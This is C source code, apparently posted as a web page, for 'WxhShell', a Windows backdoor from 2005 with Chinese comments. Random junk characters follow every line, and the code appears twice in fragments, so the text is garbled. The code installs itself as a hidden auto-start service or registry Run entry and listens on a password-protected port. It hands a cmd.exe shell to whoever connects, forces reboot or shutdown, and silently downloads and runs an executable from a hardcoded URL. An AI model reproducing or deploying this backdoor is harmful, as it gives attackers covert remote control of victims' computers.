  // 关机 zwjgE6  
  case 'd': { [}=B8#Jl-C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )7Wf@@R'F  
    if(Boot(SHUTDOWN)) AQvudx)@"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :g0zT[f  
    else { uo 8YP<q  
    closesocket(wsh); jV1.Yz (`  
    ExitThread(0); b]#AI qt  
    } 8OU\V5i[,q  
    break; |/{=ww8|  
    } !l8PDjAE  
  // 获取shell FvjPdN/L?R  
  case 's': { dR,fXQm  
    CmdShell(wsh); k?^z;Tlvw  
    closesocket(wsh); $%#!bV  
    ExitThread(0); (uE!+2C  
    break; ]2KihP8z x  
  } S4z;7z(8+  
  // 退出 Why`ziks  
  case 'x': { p_%Rt"!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8(~ h"]`!  
    CloseIt(wsh); %dVZ0dl  
    break; H<,gU`&R  
    } $'M!HJxb  
  // 离开 iqWQ!r^  
  case 'q': { on `3&0,.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6LIJ Q  
    closesocket(wsh); HIZe0%WPw  
    WSACleanup(); Kn1a>fLaJ_  
    exit(1); E ~<JC"]  
    break; ](8[}CeL  
        } '5$b-x6F  
  } `d}2O%P  
  } ukyZes8o K  
/*mI<[xb  
  // 提示信息 /h3RmUy   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h S&R(m  
} + cN8Y}V  
  } .aQ \jA  
(O3nL.  
  return; 2P0*NQ   
} F={a;Dvrn  
UP,c|  
// shell模块句柄 83#mB:^R  
int CmdShell(SOCKET sock) }o`76rDN  
{ HG^'I+Yn  
STARTUPINFO si; vXje^>_6  
ZeroMemory(&si,sizeof(si)); `b$.%S8uj=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~Mxvq9vaD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VMWf>ZU  
PROCESS_INFORMATION ProcessInfo; pW3^X=6  
char cmdline[]="cmd"; 6j}9V L77  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4,DeHJjAlE  
  return 0; Y$@?.)tY  
} Lp9E:D->  
oCz/HQoBk  
// 自身启动模式 &F~T-i>X  
int StartFromService(void) vEJbA  
{ k9L;!TH~1K  
typedef struct 9\7en%(M  
{ cbTm'}R(G  
  DWORD ExitStatus; i9x+A/ o[  
  DWORD PebBaseAddress; /j.9$H'y  
  DWORD AffinityMask; 6=Otq=WH  
  DWORD BasePriority; _oeS Uzq.  
  ULONG UniqueProcessId; gg2( 5FPP  
  ULONG InheritedFromUniqueProcessId; ujpJ@OWj  
}   PROCESS_BASIC_INFORMATION; 3^yK!-Wp(  
o66}yJzmD  
PROCNTQSIP NtQueryInformationProcess; xJ.M;SF4  
utV_W&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IH+|}z4N?>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UkFC~17P  
Z,PPu&lmE/  
  HANDLE             hProcess; =rdV ]{Wc  
  PROCESS_BASIC_INFORMATION pbi; tKXIk9e  
SE*g;Cvg1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j0q&&9/Jj  
  if(NULL == hInst ) return 0; 4j^ @wV'  
{+>-7 9b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r9?Mw06Wc5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4o5t#qP5$S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Jln:`!#fDf  
jnwu9PQ  
  if (!NtQueryInformationProcess) return 0; TB31- ()  
^U/O !GK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZbKg~jdF  
  if(!hProcess) return 0; `Urhy#LC  
FGzwhgy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0w7DsPdS  
?}Y]|c^W  
  CloseHandle(hProcess); YN5rml'-  
d&>^&>?$zh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cH2K )~  
if(hProcess==NULL) return 0; -XG@'P_  
GTHt'[t@;  
HMODULE hMod; 3Jn ;}  
char procName[255]; 6ik$B   
unsigned long cbNeeded; '~ 47)fN  
.T`%tJ-Em  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <1TAw.  
<F'\lA9  
  CloseHandle(hProcess); P.DK0VgY  
#AY&BWS$  
if(strstr(procName,"services")) return 1; // 以服务启动 gjlx~.0d  
+lTq^4  
  return 0; // 注册表启动 \Vk:93OH21  
} Q+{n-? :  
c &c@M$  
// 主模块 |DwZ{(R"W  
int StartWxhshell(LPSTR lpCmdLine) 0> \sQ,T  
{ eyxW 0}[  
  SOCKET wsl; #O&8A  
BOOL val=TRUE; Pg{J{gn  
  int port=0; m]&SNz=  
  struct sockaddr_in door; t6t!t*jO  
7d\QB (~  
  if(wscfg.ws_autoins) Install(); * v#o  
rvM{M/4  
port=atoi(lpCmdLine); nJ;.Td  
.6J$,.Ig  
if(port<=0) port=wscfg.ws_port; _Z\G5x  
F"mmLao  
  WSADATA data; %"-5 <6d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |uJ%5y#  
-'Mf\h 8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;9#KeA _  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ia? c0xL  
  door.sin_family = AF_INET; [G3E%z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yt2PU_),  
  door.sin_port = htons(port); RM/ 0A|  
fN2lLn9/u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CvdN"k  
closesocket(wsl); -:rUw$3J  
return 1; wuo,kM  
} 8 FhdN  
iURe([@  
  if(listen(wsl,2) == INVALID_SOCKET) { B-mowmJ3dg  
closesocket(wsl); }-2|XD%]  
return 1; ugBCBr  
} % AgUUn&k  
  Wxhshell(wsl); 'N(R_q6MW  
  WSACleanup(); G+m }MOQP7  
MqMQtU9w  
return 0; z(~_AN M4,  
E*lxVua  
} ~>XxGjxe  
eJX#@`K  
// 以NT服务方式启动 ji= "DYtL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R@2X3s:  
{ A=>u 1h69  
DWORD   status = 0; wgA_38To  
  DWORD   specificError = 0xfffffff; y)<q /  
to&m4+5?6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [-x7_=E#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5IG-~jzCLb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (V@HR9?W)  
  serviceStatus.dwWin32ExitCode     = 0; 4&iCht =  
  serviceStatus.dwServiceSpecificExitCode = 0; vKR[&K{Z|  
  serviceStatus.dwCheckPoint       = 0; y_[vr:s5pG  
  serviceStatus.dwWaitHint       = 0; ")25 qZae  
S|}L&A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  AOx[  
  if (hServiceStatusHandle==0) return; S8gs-gL#Og  
d d;T-wa}  
status = GetLastError(); fB,_9K5i  
  if (status!=NO_ERROR) P'rb%W  
{ @%SQFu@FJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~QVH<`sn  
    serviceStatus.dwCheckPoint       = 0; 6H|S;K+  
    serviceStatus.dwWaitHint       = 0; z?//rXuO  
    serviceStatus.dwWin32ExitCode     = status; UCWBYC+  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ir]\|t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zW nR6*\  
    return; ?h2}#wg  
  } `y0FY&y=  
zBH2@d3W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WEpoBP CL  
  serviceStatus.dwCheckPoint       = 0; bPMhfK2 %  
  serviceStatus.dwWaitHint       = 0; wyG;8I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yDS4h(^  
} nRY5xRvK  
:hA#m[  
// 处理NT服务事件,比如:启动、停止 XfmwVjy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q@HV- (A  
{ i mM_H;-X  
switch(fdwControl) Ap !lQ>p  
{ w*Ihk)  
case SERVICE_CONTROL_STOP: {>;R?TG]$  
  serviceStatus.dwWin32ExitCode = 0; L0]_X#s>#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eQ}4;^;M-  
  serviceStatus.dwCheckPoint   = 0; <-0]i_4sK  
  serviceStatus.dwWaitHint     = 0; azU"G(6y?+  
  { rLT!To  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?%kV?eu'  
  } |7Kbpj  
  return; mV m Gg,  
case SERVICE_CONTROL_PAUSE: I 2DpRMy  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !o-@&q  
  break; YbLW/E\T  
case SERVICE_CONTROL_CONTINUE: |nF8gh~}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L=h'Qgk%  
  break; ,[;G|et  
case SERVICE_CONTROL_INTERROGATE: H']+L~j  
  break; :H[6Lg\*  
}; G / 5%.Bf@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^}C\zW  
} jqkqZF  
B\n[.(].r  
// 标准应用程序主函数 F5#YOck&,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H:\k}*w  
{ P>6{&(  
aN=B]{!  
// 获取操作系统版本 r%N)bNk~  
OsIsNt=GetOsVer(); tI{_y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @lt#Nz  
1nOCQ\$l  
  // 从命令行安装 /Q )\+  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3ANQaUC  
A(N4N  
  // 下载执行文件 \di=  
if(wscfg.ws_downexe) { R GX=)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c"xK`%e  
  WinExec(wscfg.ws_filenam,SW_HIDE); UZ$/Ni  
} E!AE4B1bd  
c:g'.'/*  
if(!OsIsNt) { 8i,K~Bu=  
// 如果时win9x,隐藏进程并且设置为注册表启动 kNL\m[W8$  
HideProc(); 0?M:6zf_iv  
StartWxhshell(lpCmdLine); [8*)8jP3  
} ]cruF#`%  
else %%wNZ{  
  if(StartFromService()) M@ZI\  
  // 以服务方式启动 9g?(BI^z  
  StartServiceCtrlDispatcher(DispatchTable); s9d_GhT%-  
else 4Xv*wB1  
  // 普通方式启动 KY N0  
  StartWxhshell(lpCmdLine); IIqUZJ  
D sWS Gb  
return 0; D,ln)["xm  
} C8\^#5  
TOAAQ  
K4);HJ|=  
8x{'@WCG%  
=========================================== bYPKh  
Ic4H#w  
.>nRzgo  
8sCv]|cn  
sT' 5%4  
{}Za_(Y,]  
" y)gKxRaCS  
[c06 N$:  
#include <stdio.h> xP,hTE  
#include <string.h> YgoBHE0#  
#include <windows.h> FsryEHz  
#include <winsock2.h> 188*XCtjQ9  
#include <winsvc.h> 5PnDN\  
#include <urlmon.h> k;L6R!V  
:,I:usW"  
#pragma comment (lib, "Ws2_32.lib") !Rt>xD  
#pragma comment (lib, "urlmon.lib") V2G6Kw9gt  
]$_NyAoBb  
#define MAX_USER   100 // 最大客户端连接数 kSh( u  
#define BUF_SOCK   200 // sock buffer ?F;8Pa/  
#define KEY_BUFF   255 // 输入 buffer ! v0LBe4  
/FJu)H..U  
#define REBOOT     0   // 重启 })?GzblI&  
#define SHUTDOWN   1   // 关机 = 9]~ yt  
B93+BwN>95  
#define DEF_PORT   5000 // 监听端口 vZoaT|3 G]  
eGHaY4|  
#define REG_LEN     16   // 注册表键长度 }>X~  
#define SVC_LEN     80   // NT服务名长度 O1mKe%'|  
VAu&@a`  
// 从dll定义API xZv#Es%#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pV"R|{#V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t<viX's  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t`mV\)fa  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Wiu"k%Qsh  
&JI8]JmU)  
// wxhshell配置信息 r$~HfskeI  
struct WSCFG { 6i~WcAs  
  int ws_port;         // 监听端口 [zM-^  
  char ws_passstr[REG_LEN]; // 口令 Ez=Olbk  
  int ws_autoins;       // 安装标记, 1=yes 0=no k)Qtfj}uij  
  char ws_regname[REG_LEN]; // 注册表键名 9*?oYm;dX  
  char ws_svcname[REG_LEN]; // 服务名 d<N:[Y\4l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N*&1GT#9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xK\d4 "  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e@OX_t_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9 |vLwQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \} :PLCKT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *=7U4W  
,nB5/Lx  
}; tC9n k5~  
g'qa}/X  
// default Wxhshell configuration N' `A?&2ru  
struct WSCFG wscfg={DEF_PORT, /Mu @,)''  
    "xuhuanlingzhe", 7x4PaX(  
    1, qm o9G  
    "Wxhshell", eHDN\QA 2  
    "Wxhshell", KMjhZap%  
            "WxhShell Service", R!N%o~C2-  
    "Wrsky Windows CmdShell Service", \)?HJ  
    "Please Input Your Password: ", l2P=R)@{  
  1, fx>4  
  "http://www.wrsky.com/wxhshell.exe", 'ub@]ru|  
  "Wxhshell.exe" $'hEz/  
    }; :A'y+MnK<  
=zKM=qba  
// 消息定义模块 =$Nq   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e;}7G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q(2'\ _`u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nK%LRcAs  
char *msg_ws_ext="\n\rExit."; QW(Mz Hg  
char *msg_ws_end="\n\rQuit."; }@+:\   
char *msg_ws_boot="\n\rReboot..."; ~1vDV>dpE  
char *msg_ws_poff="\n\rShutdown..."; [^98fAlz6  
char *msg_ws_down="\n\rSave to "; 7Da`   
h{HHLR  
char *msg_ws_err="\n\rErr!"; k{SAvKx=  
char *msg_ws_ok="\n\rOK!"; d,n 'n  
&@Be2!%'9K  
char ExeFile[MAX_PATH]; Y\?"WGL)p  
int nUser = 0; >e[i5  
HANDLE handles[MAX_USER]; (jl D+Y_  
int OsIsNt; 6MMOf\   
BeoDKdAwY  
SERVICE_STATUS       serviceStatus; JHTSUq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Hn+~5@.  
!NvI:C_4|  
// 函数声明 l3I:Q^x@  
int Install(void); r:ptQo`1-  
int Uninstall(void); >_"an~Ss  
int DownloadFile(char *sURL, SOCKET wsh); $6iX   
int Boot(int flag); 2)HuZda  
void HideProc(void); D!-g&HBTC  
int GetOsVer(void); V/I<g  
int Wxhshell(SOCKET wsl); Ks`J([(W&  
void TalkWithClient(void *cs); ]>nk"K!%  
int CmdShell(SOCKET sock); p xa*'h"b^  
int StartFromService(void); PKg@[<g43  
int StartWxhshell(LPSTR lpCmdLine); EVC]sUT  
~;{; ,8!)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 54R#W:t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '^~{@~ ;%L  
65$+{s  
// 数据结构和表定义 nwRc%C``UK  
SERVICE_TABLE_ENTRY DispatchTable[] = V7fq4O^:  
{ "Nbq#w\  
{wscfg.ws_svcname, NTServiceMain}, #-i>;Rt  
{NULL, NULL} UIN<2F_  
}; ]{mPh\  
!/i{l  
// 自我安装 } .m<  
int Install(void) =QiI :|eRA  
{ mQ 26K~  
  char svExeFile[MAX_PATH]; (b-MMr  
  HKEY key; c>:wd@w  
  strcpy(svExeFile,ExeFile); 9} M?P  
tm RXgTS  
// 如果是win9x系统,修改注册表设为自启动 k],Q9  
if(!OsIsNt) { !1 H# 6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9BBmw(M}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0 e ~JMUb  
  RegCloseKey(key); c"V"zg22  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f=gW]x7'R+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V/ uP%'cd  
  RegCloseKey(key); '3D XPR^B6  
  return 0; F {4bo$~>  
    } PB`Y g  
  } x vl#w  
} 3z9d!I^>k  
else { &n}f?  
qCpp6~]Um  
// 如果是NT以上系统,安装为系统服务 }1i`6`y1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A:N|\Mv2b  
if (schSCManager!=0) O6a<`]F  
{ _w+:Dv~*a  
  SC_HANDLE schService = CreateService ?u=Fj_N_  
  ( j8{i#;s!"  
  schSCManager, qqr?!vem6  
  wscfg.ws_svcname, f:|1_j  
  wscfg.ws_svcdisp, 6J6BF%  
  SERVICE_ALL_ACCESS, .A{tQ1&_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QIvVcfM^  
  SERVICE_AUTO_START, {e9@-  
  SERVICE_ERROR_NORMAL, JZ*/,|1}EC  
  svExeFile, ju8q?Nyhs  
  NULL, bj0G5dc=  
  NULL, A_ N;   
  NULL, ZC`wO%,  
  NULL, %wvdn  
  NULL yyRiP|hJ  
  ); '(yAfL 9}  
  if (schService!=0) g:D>.lKd  
  { |[ k.ii6iO  
  CloseServiceHandle(schService); ~>Fu5i $i  
  CloseServiceHandle(schSCManager); L Mbn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vkd.)x`J,  
  strcat(svExeFile,wscfg.ws_svcname); 0g y/:T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %D}kD6=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |w1Bq  
  RegCloseKey(key); FR4QUk  
  return 0; }`QUHIF  
    } JG!mc7  
  } Cc' 37~6~P  
  CloseServiceHandle(schSCManager); +wvWwie  
} R_ ,UMt  
} Ug t.&IA  
K'Tm_"[u  
return 1; kmsb hYM)  
} I{9QeR I  
&5spTMw8  
// 自我卸载 O-~ 7b(Z  
int Uninstall(void) &<5zqsNJ\a  
{ wh\}d4gN  
  HKEY key; 2"kLdD  
YY((V@|K  
if(!OsIsNt) { 7BjJhs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (Hz^)5(~  
  RegDeleteValue(key,wscfg.ws_regname); ZaDyg"Tw+  
  RegCloseKey(key); # 448-8x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C]eSizS.  
  RegDeleteValue(key,wscfg.ws_regname); '}JhzKNj  
  RegCloseKey(key); eJVjuG  
  return 0; B=yqW  
  } N^ds RYC  
} V>)OpvoT#  
} H*QIB_  
else { V b4#,  
YEs&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7>|J8*/Nd  
if (schSCManager!=0) }QcCS2)Ud  
{ KL:j?.0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DiScFx |rE  
  if (schService!=0) KRLQ #,9  
  { 3yY}04[9<  
  if(DeleteService(schService)!=0) { q J=~Y|(  
  CloseServiceHandle(schService); nntuLuW  
  CloseServiceHandle(schSCManager); 2*< nu><b  
  return 0; w%VU/6~  
  } HU }7zK2  
  CloseServiceHandle(schService); C:* *;=.  
  } ,p@y] cr  
  CloseServiceHandle(schSCManager); i]y<|W)Q3  
} :O?MSS;~  
} FLCexlv^  
\H~T>j{N  
return 1; axRV:w;E<  
} FQ2  
MS>Ge0P("~  
// 从指定url下载文件 P[#e/qnXu|  
int DownloadFile(char *sURL, SOCKET wsh) RtP2]O(F  
{ Xy&A~F  
  HRESULT hr; dvx#q5f_S  
char seps[]= "/"; M~#gRAUJ  
char *token; bv9]\qC]T<  
char *file; }[};IqVaK  
char myURL[MAX_PATH]; }6}l7x  
char myFILE[MAX_PATH]; E7 Ul;d  
JEwa &  
strcpy(myURL,sURL); @=Uh',F  
  token=strtok(myURL,seps); d(x\^z  
  while(token!=NULL) =:,g  
  { | y# Jx  
    file=token; Uq,^Wy  
  token=strtok(NULL,seps); v ~?qz5:K~  
  } >,Ci?[pf  
x{8xW0  
GetCurrentDirectory(MAX_PATH,myFILE); ' !cCMTj  
strcat(myFILE, "\\"); TnOggpQ6X  
strcat(myFILE, file); qIE9$7*X  
  send(wsh,myFILE,strlen(myFILE),0); [nG<[<0G;  
send(wsh,"...",3,0); <8i//HOE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2K6qY)/_  
  if(hr==S_OK) 3{^9]7UC  
return 0; <X^@*79m  
else 4 Y9`IgQ  
return 1; #u(^0' P  
]G= L=D^cK  
} UWJ8amA  
J +DDh=%  
// 系统电源模块 V`d,qn)i  
int Boot(int flag) Bz-c$me1  
{ S_4?K)n #  
  HANDLE hToken; ,~$p,ALwN7  
  TOKEN_PRIVILEGES tkp; ~ 'H ]jN  
n;C :0  
  if(OsIsNt) { _|\~q[ep  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GPv1fearl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LTCb@L{^i  
    tkp.PrivilegeCount = 1; YnS#H"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wn, KY$/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DE8n+Rm  
if(flag==REBOOT) { #PW9:_BE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oUr66a/[U  
  return 0; 9@:2wR |  
} Jk11fn;\>  
else { Y;Dp3v !  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m%?pf2%I#  
  return 0; xY8$I6  
} t]g-CW 3  
  } J26 VnK  
  else { A_ZY=jP   
if(flag==REBOOT) {  6f>{"'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9Cp-qA%t  
  return 0; ;_I8^?d  
} |?xN\O^#}  
else { EIAc@$4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M,,bf[p$  
  return 0; SrJGTuXg  
} beGa#JH,  
} Rz/gtEP  
|\t-g" ~sN  
return 1; (vnAbR#e  
} {.|CdqwY  
XS{Qnx_#  
// win9x进程隐藏模块 '<xXK@=KEI  
void HideProc(void) "ycJ:Xv49  
{ P%VSAh\|n  
({)+3]x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mb3"U"ohs  
  if ( hKernel != NULL ) |4z IfAO  
  { cn3\kT*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); su( 1<S}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rJT a  
    FreeLibrary(hKernel); F6|]4H.3Q  
  } 1D7 `YKI9h  
[Ek7b *  
return; o5GcpbZ3k  
} (@VMH !3  
LEf^cM=>  
// 获取操作系统版本  vF+7V*<  
int GetOsVer(void) n\D&!y[]F  
{ P=Jo+4O  
  OSVERSIONINFO winfo; uym*a4J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "| g>'wM*  
  GetVersionEx(&winfo); 9YyLf;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) At>DjKx]O  
  return 1; vWv"  
  else T2W eE@o  
  return 0; g2ixx+`?|:  
} ,Vm < rK  
hH 3RP{'=  
// 客户端句柄模块 {9pZ)tB  
int Wxhshell(SOCKET wsl) 9T9!kb  
{ }C?'BRX  
  SOCKET wsh; 2\{M:\2o  
  struct sockaddr_in client; WDD%Q8ejV&  
  DWORD myID; itP,\k7>d  
=BAr .m+"  
  while(nUser<MAX_USER) _8J.fT$${  
{ p38-l'{#  
  int nSize=sizeof(client); !;{7-~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HM1Fz\Sf  
  if(wsh==INVALID_SOCKET) return 1; q~o<*W   
:\c ^*K(9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ie95rZp  
if(handles[nUser]==0) a#k6&3m&  
  closesocket(wsh); P|E| $)m  
else 4l'fCZhA}  
  nUser++; ZvX*t)VjTz  
  } *OsQ}onv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _6hQ %hv8  
G j?t_Zln  
  return 0; exUFS5d  
} |aS.a&vwR  
@*XV`_!h  
// 关闭 socket  4e7-0}0  
void CloseIt(SOCKET wsh) s 5Qcl;}  
{ 4E+e}\r:6  
closesocket(wsh); bsli0FJSh'  
nUser--; V)k4:H  
ExitThread(0); pYEMmZ?L  
} |syR6(U}  
.`H5cuF`  
// 客户端请求句柄 lrE5^;/s1  
void TalkWithClient(void *cs) ? :%@vM  
{ ec;o\erPG  
I$G['` XX/  
  SOCKET wsh=(SOCKET)cs; {dlXLx!B  
  char pwd[SVC_LEN]; ^uc=f2=>,  
  char cmd[KEY_BUFF]; {}n^cq  
char chr[1]; iWkWR"ys y  
int i,j; h,N?Ab'S  
i1d'nxk6  
  while (nUser < MAX_USER) { EME|k{W  
]s'as9s9  
if(wscfg.ws_passstr) { Q3~H{)[Kq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a58H9w"u)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =y*IfG9b  
  //ZeroMemory(pwd,KEY_BUFF); t{9GVLZ  
      i=0; \V63qg[  
  while(i<SVC_LEN) { g:@#@1rB6  
oZgjQM$YP  
  // 设置超时 h(dvZ= %  
  fd_set FdRead; %wy.TN  
  struct timeval TimeOut; h;"4+uw  
  FD_ZERO(&FdRead); ?l{nk5,?-Y  
  FD_SET(wsh,&FdRead); C{rcs'  
  TimeOut.tv_sec=8; hi( ;;C9  
  TimeOut.tv_usec=0; 2F.;;Ab  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $h"\N$iSq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9cF[seE"0  
8TKnL\aar  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  V}CG:9;  
  pwd=chr[0]; cuI TY^6  
  if(chr[0]==0xd || chr[0]==0xa) { K69'6?#  
  pwd=0; /,yd+wcW#  
  break; !e<^? r4  
  }  kDioD  
  i++; bAqA1y3=  
    } .L~AL|2_  
(w3YvG.  
  // 如果是非法用户,关闭 socket 2/^3WY1U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ES7s1O$#  
} ouQ T  
M6j y\<a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~36!?&eA8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g3y~bf  
{;1\+ f  
while(1) { H7n>Vx:L-  
Q)h(nbbVak  
  ZeroMemory(cmd,KEY_BUFF); C1)!f j=  
J ZS:MFA  
      // 自动支持客户端 telnet标准   r#a=@  
  j=0; oG\Vxg*  
  while(j<KEY_BUFF) { SqpaFWr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  =:pJ  
  cmd[j]=chr[0]; d#FQc18v}k  
  if(chr[0]==0xa || chr[0]==0xd) { ?:q*(EC<  
  cmd[j]=0; XRi8Gpg  
  break; Q1 97mN+0  
  } Y:[u1~a  
  j++; rEW b"  
    } }Sv:`9=  
Y$_B1_  
  // 下载文件 #\OA)`U  
  if(strstr(cmd,"http://")) { ~f98#43  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); aW7^d'ZZ\  
  if(DownloadFile(cmd,wsh)) 8l`*]1.W<  
